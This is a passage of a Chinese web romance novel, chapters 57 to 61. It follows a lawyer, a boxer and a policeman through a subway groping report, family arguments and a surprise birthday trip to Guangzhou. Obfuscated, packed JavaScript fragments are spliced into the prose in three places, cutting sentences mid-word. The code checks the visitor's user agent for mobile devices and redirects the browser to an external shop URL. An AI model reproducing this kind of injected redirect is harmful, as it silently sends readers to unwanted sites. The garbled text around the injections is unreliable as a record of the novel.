林茜又拿起汤匙,喝了几口,点开对话框给余琛发信息:“汤里放了白胡椒粉对不对?我喝出来了!好暖和。” 余琛很快回信:“答对,恭喜闯关成功,下次挑战更难关卡。” 林茜的兴趣被勾引出来:“什么关卡?” “下次做一道大菜给你,看你能吃出几种食材?” “答对有奖吗?”林茜笑嘻嘻地打着字。 “有的。暂时保密。” “好吧……好期待,哈哈哈哈。”林茜回道。 余琛放下手机,看着桌上的一串钥匙。 他买的房子,上午刚刚交房。 在外飞了那么多年,现在终于飞回林茜身边。 前任业主已经搬走了,余琛看着四面空旷的房子,心里却有种踏实的感觉。 即便和林茜还没走到那一步,可哪怕离她近一点也是好的。 原本想今天晚饭后带她来看一看的,之后再请她一直去她喜欢的那家家居店,慢慢淘换心爱的家具,把这里布置成她喜欢的模样。 可事发突然,余琛看着林茜和关昊一左一右搀扶着林妈,一家人其乐融融的模样,心里不是不落寞的。 他是那个外人。 “我做手术的时候,是阿琛和老姚在医院陪我,她们在我心里和家人是一样的。”林茜白天说过的话回荡在耳边。 和姚佳莉一样,只是朋友吗? 余琛在心里自嘲,当初茜茜做手术时,自己还排在姚佳莉后面,现在已经和老姚平齐,却嫌不够。 不够。 他怎么甘心,只做朋友。 58. 第 58 章 李莉拿着手机,隔一会就要看一次。自从周五晚上给关昊发了个“关队,我到家啦!”的信息之后,就再也没有关昊的音信了。 他也没回。 开始李莉还在担心,是不是又烧起来了?犹豫着要不要再上门去看一次。直到昨天下午去局里和赵诚排练元旦节目,看见了张平。 “张队,大周末的您怎么来啦?”李莉主动打招呼。 “嗨,这不是关队病了吗,科长把年终总结的事交给我了,我老婆带着儿子去看他姥姥姥爷了,我在家也没什么事,过来看看。” “我记得您明天还有个反诈宣传要去吧?这周末全在加班呀。”李莉顺着聊道。 “那倒不是。明天的活动科长让关队去了。” “他不是病了吗?”李莉奇道。 “这个……”张平笑得有点意味深长:“科长这么安排,肯定有他的道理。” 张平来局里十多年了,很多事一点就透。本来科长要调换关昊和他的工作,他还很大度:“关队就是平时工作太拼了,休息一下也好。这些事务类的工作,都交给我就行。” 没想到科长在电话里说:“也不全为公,小关和他爱人呢,闹了点矛盾。明天可能碰个面,也可能碰不着,就当搭个梯子吧。” 张平懂了。这段时间关昊的异常张平也有所察觉,不过人家的私事,他不主动打听。既然科长说了,那照办就是。 李莉不知道这其中的弯弯绕,但想到科长不是对待下属严苛的人,既然让关队去,那肯定是关队的病没事了。 没事了……也没回她的信息。 想想又有些沮丧。 “朋友们,支个招吧,我是真的没办法了。”趁着等赵诚来局里的工夫,李莉又点开了闺蜜群。 孙佳佳第一个响应:“什么情况?!是不是大叔那头有进展了?” “算是吧。他病了我去探望他。感觉好像离他近了一步,但一不见面又退回去了。”李莉在群里说道。 好家伙,这一句炸出另外两个人。 “去他家探望吗?有戏啊莉莉!”王璐在群里说。 周晗禹:“你知道他家地址?能给你地址就是对你有意思。不过也小心一点,免得他钓你。” 李莉哭笑不得,这群人发散太快了,解释道:“是去他家里,不过地址不是他给的,是之前工作原因知道的。” 周晗禹:“他什么反应呢?家里只有他自己吗?他慌张吗?赶你走吗?” 虽说周晗禹的风格一向直球,但该小心的时候也会小心。听李莉的描述她在这段感情里太被动了,别是男方还有正主。 李莉想起关昊客厅那块明显白一度的墙面,答道:“不慌张,但有点意外。不算赶我走吧,就是叫我不要耽误工作。家里没别人,只有他自己,单身汉。” 周晗禹松了口气:“那就没问题了。” 王璐接了句:“听起来人还挺正派的,就是不知道为啥有点年纪感。” 孙佳佳:“毕竟是大叔嘛。” 周晗禹忽然又问了句:“那你们都干什么了呀,你就看看他就走了?有身体接触吗?” 李莉的脸突然红了,想起关昊敲她的那个爆栗,虽然当时是话赶话开玩笑,可事后反复想起,还是会悸动。 “没有。他发烧了,我煮了点粥给他。”李莉没好意思讲这一点,挑着说的。 “你完了你,还没好上就开始当田螺姑娘了。”周晗禹在群里叹气。 “那他有没有感动啊?”孙佳佳问道。 “我也不知道。”李莉回道,后面跟了一个笑哭的表情。 “那为啥说进了一步呢?”王璐问。 “就是以前因为工作接触吧,总感觉他特厉害,特严肃,那天看他发着烧蒙圈的样儿,心一下就软了。”李莉在群里说着自己的感受,发出来才意识到这么煽情。又加了一个笑哭的表情。 群里安静了几秒。 “你这是又陷入爱河了啊。”孙佳佳悠悠说道。 李莉实在是暗恋型选手,还一恋就是好几年。 好不容易走了个关昊,现在又来个大叔,看样子也迷得不轻。挺好的姑娘,啥时候能享受一次真正的恋爱啊? 三人都有点恨铁不成钢。 到底还是周晗禹看不下去,率先支招:“既然见面有进展,那就多见面呗。而且多找非工作的场合的见面,你想想上班时你警服一穿,他见到的都是你严肃的一面。得有反差,他才会注意到你。” 有道理啊,不愧是群里恋爱经验最丰富的军师。 孙佳佳接力:“见了面再找找共同话题,投其所好。看他是喜欢车,喜欢运动,还是喜欢游戏啥的。多聊聊。实在不行就夸夸夸。” “但是有一点,别给男人花钱。”王璐补充:“前几天办案认识了一个妹子,才19,恋爱一上头分期给男朋友买了双巨贵的鞋,现在分手了还没还完呢。” “好的好的。”李莉在群里频频点头,心里已经有了主意。 周日的反诈宣传会,李莉也到了会场。记着周晗禹的点拨,要跟平常有反差感。可这是反诈宣传,也不好穿得太招摇。 李莉往干练知性风靠了靠,双肩背包上的小熊挂坠早就摘下了,现在干脆连背包也换了,提了一只小小的皮包。平常轻便的短款薄棉服脱下,换上衬衫西裤,大衣围巾,氛围感这不就有了吗? 精心画了淡妆,又用吹风机吹出蓬松感,李莉一大早收拾完,在镜子前照了照。 妈妈晨练回来,看见女儿这一身装束:“呦,约会去呀?还是昨天那个小伙子吗?” 李莉没好气道:“昨天是跟同事排节目!” “那今儿是正经约会呗!”妈妈特有的北京腔大大咧咧地说道。 “不跟您贫了,走啦!”李莉饭也没吃,背着包走了。 由于到得早,会场没什么人,李莉怕错过关昊,一直在正门口转悠。直到快开始时,才看到关队风风火火地走来。 李莉想叫住他,又怕这样太明显,就走近了些想让关昊自己发现。 但不知道是不是今天的自己和平常反差太大了,关昊一直签完到往后排走过去都没认出她来。李莉也顾不上矜持了,算了,自己先打招呼吧。 话还没说出口,已经听到关昊的声音:“林茜?你怎么也来了?”然后就看到关昊顺势坐下,和旁边的女人聊了起来。 李莉认得那个女人,那是关队的前妻。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13982621|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 积攒了一个晚上的勇气在这一刻泄气,李莉没出声,默默地走到了后排。 看着关队的身体始终靠近林茜的方向,看着关队时不时就偷瞄林茜。李莉终于确定,他还是爱她。 下午3点多,关昊做了汇报。听着自己亲身参与过的案子被拿出来分享,李莉也与有荣焉,大声地鼓掌,却看到关昊在意地看向一个地方,林茜的方向。 林茜也在鼓掌。关昊肉眼可见地开心了。 原来关队的情绪,可以这么轻易地被一个人牵动。 她真是世界上最幸福的女人。 没多久,关队和林茜走了,走得很匆忙。李莉眼看着关昊一手替林茜提着包,一手虚虚地揽着她的背,并排出了门。 心里酸涩,下意识又点开对话框,自己那条“关队,我到家啦!”的信息还安静地躺在那里。 原来关队也有这么热情体贴的一面,只是不是对她。 李莉神情落寞地回了家,被李妈看在眼里。 “怎么啦?闹别扭啦?”李妈试着问。 “没有。”李莉回了房间,锁上门,把自己摔在床上,脸埋进被子里。 山穷水尽了吗? 静静地趴了一会,李莉又拿出手机:“怎么办?他好像忘不了前任。” 王璐秒回:“他跟你说啦?” 周晗禹紧接着:“他跟前任复合了?” “没有,不过对她很殷勤。”李莉回道。 “要不你换个人喜欢吧,你现在在食物链的底端,这也太难受了。”孙佳佳说道。 我也想换个人喜欢,李莉默默地流着泪,在心里说道。 “只要没复合,你就还有机会。勇敢追爱有什么可丢人的?再说了,你大大方方追一回,人家真拒绝了你也死心了。要我说你就是没吃过好的,认真被对待一次,你以后就对这种年上大叔祛魅了。”周晗禹难得打这么多字。 再试一次吗?李莉问自己。 你能放下关昊吗?李莉又问自己。 不能。 那就再试一次。 关昊在肯德基等着取餐的时候收到了李莉的微信:“关队,您的病怎么样了?好点了吗?” “没事了,挺好。”关昊回道。 “关队您今天是不是去参加反诈宣传了啊?我好像看到你了。”李莉又说。 “是啊,你也去了?” “对,后来有事中途就走了。对了关队,我上次买的牛奶,保质期只有7天,你记得喝哈。” “哦,行。”关昊回着,心里又一次感觉到,这个小姑娘,是不是对他太关心了? “先生,您的餐好了。”服务员提示。 “好嘞,谢谢。”关昊拎起餐袋,回了林茜家。 李莉等了整晚,没有再等到关昊的其他信息。第二天一早到了单位,却听说关昊请假了。 “好像在外地呢,说是今天晚上回来。”小王随口说道。 “咱们最近没外地的案子呀?”李莉问。 “那就是私事呗。”小王看了李莉一眼,似有所指。 李莉还没回应,忽然有两个人来报案。 巧的是,这俩人大家都认识,康嫣然和余琛。 59. 第 59 章 一同来报案的还有一个女孩,说是证人,看起来年纪很轻,一双大眼炯炯有神。另外还有一个面目普通的男的,四十上下,穿藏蓝色的夹克,工装裤,被余琛三人扭送过来。 “你好,警官,我要报警。”余琛对着前来接待的警察说。 “跟我来吧。”警察把三人引到一处接待室,询问具体情况。 “他在地铁上咸猪手!”年轻女孩指着那个中年男人大声说道。 中年男人表现得非常坦然:“你真逗,你别胡说。”转头对着警察说道:“警察同志,您别听她的,我就是手抽筋了。” 警察看了几人一眼:“一个一个来。” 康嫣然小时候学过画画,自己也喜欢。后来不读书了,除了打拳,就跟着父亲的一个朋友学设计。 今天正好是去工作室的日子。 两头都离地铁很近,又是早高峰的时间,所以康嫣然一般都是坐地铁去。 没想到今天出事了。 康嫣然乘坐的地铁是出城方向,人不算特别多,虽然没有座位了,但也没到人人紧贴的程度。可今天很奇怪,康嫣然大腿内侧总是有异物摩擦的感觉。 难道是谁的背包蹭到了? 康嫣然往旁边移动了几步,站定后异物感并没有消失。真是奇怪,谁的包一直贴着自己? 康嫣然扭头看了一眼,看到一张面目普通的男人脸。 那个人甚至还对她笑了一下。 康嫣然瞬间就有点心里发毛。 正想再躲,突然听旁边一个女孩大声说:“别摸了!” 罗骏驰正在读大四,本来今天要去公司实习的,谁知道竟然在地铁上碰到咸猪手。她悄悄拍下了照片,拍完还瞪了那个男人一眼。 想着他要是停手自己就不声张了。 没想到女孩都躲开了,他又跟上去继续。罗骏驰看不下去了,才大声喝止。 结果这个男人相当平静,还反咬一口说是她看错了。 罗骏驰的火噌一下就冒出来了:“你从这头摸到那头,我都看见了你还狡辩?人家都躲开了你还敢上手,挺大个人怎么这么不要脸?” 罗骏驰嗓门洪亮,立马引起了一车厢人的注意,大家开始对这个中年男人指指点点。列车到站,他想跑,被罗骏驰一把拉住:“想走?你还没道歉呢!” “滚开!小屁孩多管什么闲事!”中年男人就要甩开罗骏驰,又被另一个大姐拽住:“惹了事就想跑啊,说清楚了吗你?” 这一番吵闹终于引来了工作人员。 罗骏驰跟公司请了半天假,向地铁工作人员出示了自己拍的照片,还要求调取地铁监控,让大家认清这个色魔。 康嫣然全程都很沉默。她害怕和人打交道。被欺负一直是她的宿命,她根本不知道这种情况该怎么处理。 好在罗骏驰很热心,安慰她道:“不用怕,大家都不出声以后这种人就越来越猖狂,就得让他社死!知道怕了以后才不敢伸爪子!” “嗯。”康嫣然点点头,眼神里带着感激。 遗憾的是,地铁的监控只拍到了男人的一面,而他那只手在另一面,没拍到具体的画面。而罗骏驰的照片只有男子的手部动作,虽然贴在康嫣然的大腿内侧,但还不够,最好有一段5秒钟以上的视频。 工作人员遗憾地告诉她们,仅凭这些还不够确定猥亵。当然,如果她们不满意,可以直接去公安局报案。 中年男人的腰板挺直了。 罗骏驰请了半天假,本来以为能伸张正义,没想到这么困难。不服输的劲儿也上来了:“报就报,本来就是他的错!” 康嫣然有点踟蹰,声音很小地和罗骏驰说:“我先打个电话。” 之后就打给了余琛,把情况说了下。余琛立刻同意报警,并且很快赶了过来。 中年男人一度想走,嘴里不停嚷嚷:“我这单位还有事呢!你们污蔑我,我不计较就算了,还蹬鼻子上脸了?耽误我上班损失谁担?” 罗骏驰直接爆粗:“担你大爷担!” 工作人员调和:“小姑娘别说脏话。还有你,事没解决完呢,你也先别走。”拦住了这个男人。 余琛到了之后,男人的气势就怂了些,到底是心虚,怕一出地铁站就被摁到小胡同里暴打一顿。没别的,1米88身材强壮的拳王,单外形就给人震慑。男人老老实实跟着到了公安局。 警察听完几个人的描述,又看了罗骏驰拍下的照片。把几个人分开,单独询问。 摸清了这几个人事先都不认识,又将几人的话反复印证,最后确认是猥亵,行政拘留10天。 “才10天,便宜他了!”罗骏驰出了公安局的门吐槽道。 “今天谢谢你,罗小姐。”余琛诚恳地说。 “不用谢,都是小事。”罗骏驰摆摆手,又看着康嫣然说道:“不过我说你啊,胆子也太小了。你这样平时得受多少欺负啊?” 虽然是在说自己,可康嫣然心里暖暖的,想说话又不知道说什么,嗫啜着说了几个字也听不清。 好在余琛反应快:“耽误你上班了,我们请你吃饭吧。如果方便,能不能请你和嫣嫣加个微信,她刚来北京没多久,在这没什么朋友,有空你们可以一起出来玩。” “饭就不用啦,微信可以加。来吧。”罗骏驰说着掏出了手机。 康嫣然乖乖配合,鼓起勇气说了一句:“那你不忙的时候我可以请你吃饭吗?” “行啊,这周末联系。我走啦。”说完就往地铁的方向去了。 康嫣然看着她的背影,有点开心。 余琛带康嫣然到了附近的茶室,喝点茶压压惊。 “今天的事,你不要同我爸讲啊。”康嫣然坐下后说道。 “怕康伯担心?”余琛问。 康嫣然点点头。 “好。”余琛答应,又叮嘱:“但以后这种事,也不要忍气吞声。你可以不用向罗小姐那样硬碰硬,但要第一时间报警,或者找我或阿生帮忙。” “好。”康嫣然点头:“琛哥你最近很忙吗?我都很少见到你。” “嗯,最近买了房子。” “你是要定居在这了吗?”康嫣然问:“为了林小姐?” “是。”余琛答道。 康嫣然心中酸涩:“我一点也不喜欢这个城市,人太多,空气又很干燥。” “可是也有罗小姐那样的好人。”余琛轻声安慰。 “你会和林小姐结婚吗?”康嫣然问。 “只要她愿意,会的。” “要是她不愿意呢?” “那我就等到她愿意为止。” “你对她真好。”康嫣然低下头,又抬头看了眼余琛:“可我觉得她对你不够好。” “为什么这么觉得呢?”余琛问道。 “你为她做了那么多事,帮她忙被警察抓,送生意请她做拳馆顾问,还帮她搬家,照顾她生病,还……陪她出差。可她为你做过什么呢?我一件也不知道。”她平常留意的这些事,此刻全都说了出来。 她对余琛,总有一种雏鸟情结。要是余琛过得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13982622|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好就罢了,她默默躲在角落里,也不是不能忍受。可如果他过得不好,那是她万万不愿看到的。 余琛惊讶她居然知道这么多事,又想一定是阿生这个大嘴巴透露出来的,耐心对康嫣然说道:“我喜欢她,不需要她为我做什么的。” “可两个人在一起,不应该互相对彼此好吗?”康嫣然困惑道。 “可是爱一个人,就是没有办法的。只要能看着她,我就很开心了。她平平安安地存在于这个世上,就是对我好。”余琛温和地说。 康嫣然感觉到一种震撼,爱一个人真的可以这样不计得失吗? “嫣嫣,或许是我自作多情,但我还是要说一句。你年纪很小的时候遇到我,又是那么难的时刻,或许把我当成了某种依靠。但我也只是一个普普通通的男人,比我好的大有人在。你可以把眼光再放宽一些的。” 康嫣然低下头,小声说:“你说什么?我听不懂。” 余琛继续说道:“我这一辈子,是认定了林小姐的。不管她接不接受我,我都想好好照顾她一辈子。至于你,我一直把你当成妹妹在关照,也希望你能过得好。外面的世界很大,你已经长大了,变强了,不是任人欺负的小女孩了,你可以多出去看看。” 康嫣然抬起头看着余琛,一滴泪要掉不掉的样子。 余琛耐心劝她:“你看,今天你不就交到一个很好的朋友?你喜欢和罗小姐做朋友吗?” “嗯。”康嫣然点点头。 “那就慢慢来,慢慢会找到自己的好朋友,知心人,慢慢喜欢这个世界,好不好?”余琛温和地说。 “好。”康嫣然的眼泪终于掉了下来。心中一直以来的猜测得到了证实,心死了,但也轻松了。 想到周末可以和罗小姐见面,又觉得这个世界还没有那么糟糕。 李莉看到民警的同事接待了余琛一行人,事后过去打听,知道了事情的始末。 “好样的!”李莉隔空对着罗骏驰赞了一句。 小王好打听事,听说以后也跟着夸了两句,之后说道:“可惜,这事跟余琛本人没什么关系,不然关队一定感兴趣。” 一句话提醒了李莉,就算没关系,告诉关队一声,也没问题吧。 关昊正开着车行使在路上,感受到兜里手机振动。这是早上一家四口的决定,今天林茜和关昊各请一天假,陪林爸林妈去隔壁市爬山,散散心。 林茜本不想带关昊的,可林爸林妈一通劝说,本来出来玩就是为了哄林妈高兴,别老想着诈骗的事。眼见着林妈又要急了,林茜也答应下来。 此刻林茜坐在副驾驶上听到动静,问了句:“是你的手机吗?” “嗯,等下个红绿灯我再看。” 停下一看又是李莉发来的,关昊心里的不对劲越来越明显,但看到内容后就什么都忘了。 和余琛有关。 关昊对余琛的调查一直没放弃,可惜长治那边的线索也断了。想查都无从查起。 真是瞌睡遇枕头。 关昊看得认真。变绿灯了,后面的车按喇叭催促,林茜也说道:“先把车开过去吧,靠边停下再踏实看。” “嗯。同事发来的,说余琛去局里了。”关昊打着方向盘说。 这一句话引起了三个人的注意。 “他去公安局?因为什么?”林茜问道。 “康嫣然地铁遇到咸猪手,他陪着去报警。” “康嫣然又是谁啊?”林妈坐在后排问道。 “以前查案的时候,说是他女朋友。” 60. 第 60 章 这一句话惊到了老两口。 “茜茜,他有女朋友啊?”林妈忙问道。 “不是的,只是他拳馆的学员而已。”林茜解释。 “只是学员,为什么跟他一起来了北京?”关昊问。 “那你又怎么确认是他女朋友?”林茜反问。 “是香港的同事告诉我们的。余琛身边除了康嫣然,没有其他的女人。他对康嫣然也与众不同,上完课会送她回家。偶尔也专程去送她学画。你遇到他那天他开的那辆车,后来也送给了康嫣然。” 这些事,阿生隐约和林茜提到过。因为嫣嫣胆子小,平常出门都是康伯送她去,偶尔康伯有事,余琛或阿生有时间的话也会送她。直到这两年康嫣然才慢慢自己出门。 至于那辆车,康伯原本就是汽车工程师,当初林茜提醒了余琛。余琛找了个借口送去康伯那,果然查出窃听器,假意撞车,赶走了线人老李。这是辣蛇落网后余琛告诉她的。 可是这些都不能和关昊讲。 林茜沉默着,被父母看在眼里就是默认了。 林妈担忧地劝道:“茜茜,这种男女关系搞不清楚的人,可不敢跟他处啊!” “妈,我有分寸。”林茜说道。 男怕入错行,女怕嫁错郎。女儿放着这么好的老公不要,跟一个不清不楚的男人纠缠不清,林妈真是心急如焚。 林爸这次也没以往淡定,他从关昊话里听出了另一层意味:“小关啊,你是怎么认识余琛的?听你的意思,办过他的案子?” “是,以前办案接触过,后来案子撤了。”关昊开着车答道。 “那就是有过嫌疑?”林爸追问。 “对。”关昊说。 “茜茜,”林爸也难得板起脸来,严肃地说:“余琛到底是什么人?怎么一会有别的女人?一会又牵扯进案子里?” 林妈见老公动真格的了,安静下来,等着女儿的回答。 “爸,我入行以来,什么样的人没见过?什么样的人性没接触过?余琛是难得心地善良,知恩图报的好人。”林茜平静地说:“之前的事都是误会,关昊也没有查到确凿的证据。我们不能冤枉好人。” “谁家好人平白无故被公安查啊?”林妈接了句。 “妈,你这是有罪推定,不能这么想的。他要是真的有罪,就拿出证据来。拿不出就是没问题。人不能自证无罪,因为你没办法证明一件没发生过的事。”林茜辩解。 林妈撇撇嘴:“我说不过你,反正我就是不看好他。” 林爸这时说道:“茜茜,对待一般人,这么想没问题。但如果是身边亲近的人,就不能用这个标准了。是,没证据是不能定罪。但他既然被查了,是不是说明他比一般人多一重风险呢?我们也是为你好,不希望你也卷进什么麻烦里。” 林妈频频点头:“对,就是这个意思。” 这番话说得也在理,林茜回过头看着林爸,认真地说:“爸,我相信自己的判断。” 林爸心里着急,话却慢条斯理起来:“爸这一辈子,也见过不少聪明人。有的人为人处世看着都挺明白的,就是不知道哪天突然就犯了糊涂,一步错步步错。有的错不能犯啊,代价太大。最好的办法,就是防患于未然。君子不立于危墙之下,这个道理你明白的。” “我明白,可余琛不是危墙。”林茜很平和,也很肯定。 话说到这个份上,林爸知道不能再劝了。他心里不看好余琛,只能慢慢来了。 关昊一直沉默着。如果他加入辩论,会变成三对一,孤立林茜,他不想这样。但要他支持余琛,那也是万万做不到的。 此刻只好沉默是金。 有了这个插曲,四个人爬山也爬得索然无味。好在山不高,两个小时就到顶了。中午吃过饭,林茜和关昊把父母送到家门口后直接上了回京的高速。 林茜靠在副驾驶的椅背上,肩颈沉重,感觉比加班出差还累。 天色渐暗,周一的高速上车不多。关昊看着路边亮起的路灯,想起过去这些年每次和林茜回娘家,都是走这条路。 如今路一样,人一样,家却没了。 如果这次也是和林茜回家该多好。 “你为什么那么相信余琛啊?”关昊开口,打破了沉默。 “我是相信自己的判断。就像我和你虽然离婚了,我也还是确定,你是个好人。”林茜说道。 这句话像一壶热醋倒进了关昊心里,一边温暖他,一边腐蚀他。 过了半晌,关昊又问:“知恩图报是怎么回事啊?” 林茜反应了一下才明白是她白天说余琛的那句话:“那是余琛的私事,我不方便说。” 林茜对余琛总是这样,不着痕迹地保护他,像一堵密不透风的墙。 关昊从当初显而易见的愤怒到如今沉默的酸涩,林茜始终没变。 情绪默默地流淌着,关昊打开音乐,不再说话。 “后来,我总算学会了如何去爱,可惜你早已远去,消失在人海……” 伤感的女声回荡在车里,过于贴合此刻的心情,关昊手忙脚乱地切歌。 “不要怪我第一句就跟你说再见……” 苍老的粤语独白响起,人心也成灰。 不吉利,这首歌不吉利,再切。 “你还在查余琛吗?”切歌间隙,林茜突然问。 关昊有些意外,关了音乐,没直接回应:“怎么这么问?” “地铁猥亵不是你的业务范围,但你的消息相当灵通。”林茜转头看着关昊,观察他的反应。 关昊感觉到林茜的怀疑,有种被识破的难堪,还夹杂着些愤怒,理直气壮地说:“这是同事告诉我的!我们关系好,有什么事都随时通气。”说完忽然有点心虚,这是李莉告诉他的。 算起来,从校友日开始,这丫头时不时就会给他发微信,昨天还提醒他喝牛奶。 林茜心里想的则是另一件事。只是同事聊天这么简单吗,还是下属知道队长关心余琛,甚至在查余琛,特意告诉他的? 两个人各怀心事,一路沉默着回了京。 林茜拒绝了关昊的晚饭邀请,先去了律所,处理工作。 等到忙完,已经9点多了。 今天余琛很安静,没发信息给她。 现在他应该已经在广州了吧。林茜想着,点开了和他的对话框,忽然有点想念他做的云吞面。 第二天一早,林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993314|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茜把何婧留在所里,自己去了余琛的拳馆。说不清为什么来,但林茜就是来了。 “林律师来啦!”何广生眼尖,一下看到林茜:“何律师今天有事吗?您怎么亲自来了?” 林茜微笑着和何广生打招呼:“过来看看。” 何广生笑嘻嘻道:“到年底啦,林律师最近忙不忙呀?” 林茜:“还好,最忙的时候已经过去了,这两天还算清闲。”说完下意识地往余琛常在的地方看了一眼。 何广生眼珠子一转:“哎呀真是不巧,老大去广州了。不然咱们可以给他过个生日,热闹一下呢。” 林茜意外地说:“阿琛要过生日了吗?” 何广生点头:“是啊,来北京的第一个生日呢,可惜没法给他庆祝了。” 林茜问道:“是哪天呢?” “就是今天呀。”何广生眨眨眼。 林茜有了一个大胆的想法。 电话里和何婧交代好这两天的工作,回家迅速收拾出一件简单的行李,然后买了下午飞广州的航班。 直到坐到机舱里,林茜还有点恍惚。 这么雷厉风行的做派,从来只放在学习和工作上。 为了男人,还是头一回。 有点忐忑,又有点激动。 没有和任何人说,她想给余琛一个惊喜。 三个小时的航班,落地已经5点多了。广州天光还亮,处处是高大的景观树和花花草草,和冬日萧瑟的北京完全是两个世界。 林茜拎着行李下了飞机,把手机调回正常模式,拨通了余琛的电话。 “喂,茜茜。”电话响了几声才接通,余琛那边的声音有些嘈杂。 “你在忙吗?”林茜问。 “嗯,活动刚结束,晚上一起聚餐。” 林茜默默拍了下脑门,应该提前确认一下他的时间的,果然人一陷入爱情就失去理智。 “有什么事吗?”余琛温和地问。 “我是想问……”林茜难得腼腆:“聚餐之后,你有时间吗?” “之后应该就回酒店了,没有别的事。怎么了?” “那我可以请你吃夜宵吗?”搞一个小小的蛋糕,也算庆祝了吧,林茜想。 “你,在广州吗?”余琛问。 “是啊,刚刚落地。” “来出差吗?”余琛没听她提过。 “不是,来看看你。”林茜的心突然跳得有点快。 同样心跳加速的还有另一头的余琛。他走远了一点,到一个更安静的角落:“你……专程来看我?”还是有些不敢相信。 “是啊,之前你不是也陪我出差吗?”林茜小声说。既然都来了,惊喜还是给足吧,先不提他生日的事。 余琛向来温和平稳的声音此刻终于出现波动:“你在哪?我去接你。” “不用的,你把酒店的地址发给我,我先去办入住。然后我们一起庆……吃夜宵。”好险,差点说漏嘴。 今天这是怎么了,脑袋不灵光,口条也不清楚了。林茜默默捂住眼睛。 “没关系,晚上人很多,少我一个没事。你在机场吗?” “对。” “等我,很快就到。” 61. 第 61 章 林茜拎着小小的登机箱等在出口处,晚风吹过,心也跟着平静下来。 高强度地工作了一个多月,今天这趟意外出行好像爬进时间的空隙,悠然中还有一点隐秘的欢喜。 半小时后,余琛高大的身影出现。 今天的余琛有些不同。 还是温和的模样,可视线落在林茜身上后,再也没有离开过。 余琛一手接过行李,另一只手牵起了林茜的手,带着她走出了机场。两人坐上出租车,林茜悄悄把手抽了出来,耳根有些发烫。 余琛低头看着她,小小的空间里热度攀升。 林茜开始找话题:“晚上的聚餐你不去吗?” “不了。” “那晚上有什么想吃的?”林茜抬头看着余琛。 “你想吃什么?我做给你吃。” “诶?在酒店怎么做饭呢?”林茜奇道。 “这次是朋友的拳馆开业,请同行来剪彩的。大家都是熟人,他知道我喜欢自己做饭,帮我定了民宿。”余琛解释。 “这样啊。”看样子余琛打算一直陪着她了,那惊喜就没办法准备了。林茜心思一转,决定坦白:“那我来吧,虽然厨艺比不上你,可是今天也不能让寿星做饭呀。” “寿星?”余琛面露疑惑。 “今天不是你的生日吗?”林茜问道。 余琛拿出手机看了眼,恍然道:“今天是我的阳历生日。你怎么知道的?” “阿生告诉我的,”林茜观察着他的反应:“你该不会平常过得是农历生日吧?” 余琛笑了下:“看来是阿生那小子搞鬼,回去我修理他。” 林茜想起何广生最后的表情,也摇着头笑了下。 “把林律师骗来广州,我替他道歉。不过你能来,我真的很开心。”余琛温柔地说:“今天还是我下厨,想吃什么尽管说。” 林茜佯装生气:“满汉全席都答应过我了,还有什么更高规格吗?” 余琛真的思考起来。 林茜忍不住笑道:“逗你的啦,阳历也好,农历也好,都是你的生日。既然是生日就要庆祝嘛,也不算骗我。大不了你分我一个生日愿望,等你过农历生日的时候再许你自己的。” “好。愿望送给你,想要什么?” “我想知道,”林茜眼珠子一转:“余先生最爱吃什么?” “就是这个?” “对啊,很重要的。吃了你这么多饭,都是你按我的情况准备的,我还不了解你呢。”林茜认真说道。 余琛笑了笑,心里很暖。看着车窗外归家的行人,说了三个字:“吃天光。” “吃天光?这是什么?”林茜新奇道。好奇怪的名字啊。 “我妈妈的祖籍在温州,那边习惯把‘吃早餐’叫‘吃天光’,我小时候最爱吃的是糯米饭。” “好浪漫的叫法。那糯米饭要怎么做呢?”林茜问道。 “你确定要学吗?”余琛眉毛微挑,露出与平时不同的几分狡黠。 “当然。”林茜很确定。 余琛讲解起来:“第一步呢,糯米要泡够3小时,如果时间充足,最好是提前一晚就泡好放在冰箱里,第二天就能到可以用手指直接碾碎的程度。香菇也要同时泡发。然后把米放在笼屉里,水开后转小火蒸半小时。 蒸米的这段时间,用二肥八瘦的猪肉馅兑料酒和五香粉腌10分钟,香菇切碎,再之后锅里下猪油,化开后放姜片爆香,放腌好的肉馅炒散,可以加些黄酒提香,再加香菇碎继续炒,炒干后加生抽、耗油各一勺,老抽半勺,白糖和鸡精一点点炒匀,再把之前泡发香菇的水倒进来,如果不够没过食材,就再加一些热水……” 林茜边听边点头,听到老抽半勺已经头晕了,怎么一个糯米饭,倒要七八种辅料来配它? 余琛看着林茜的眼神一点点迷糊,含笑说道:“你不用记啦,这是我明天要做给你吃的。” 林茜暗暗舒了一口气,过后又腼腆道:“那怎么好意思,又要你下厨……” 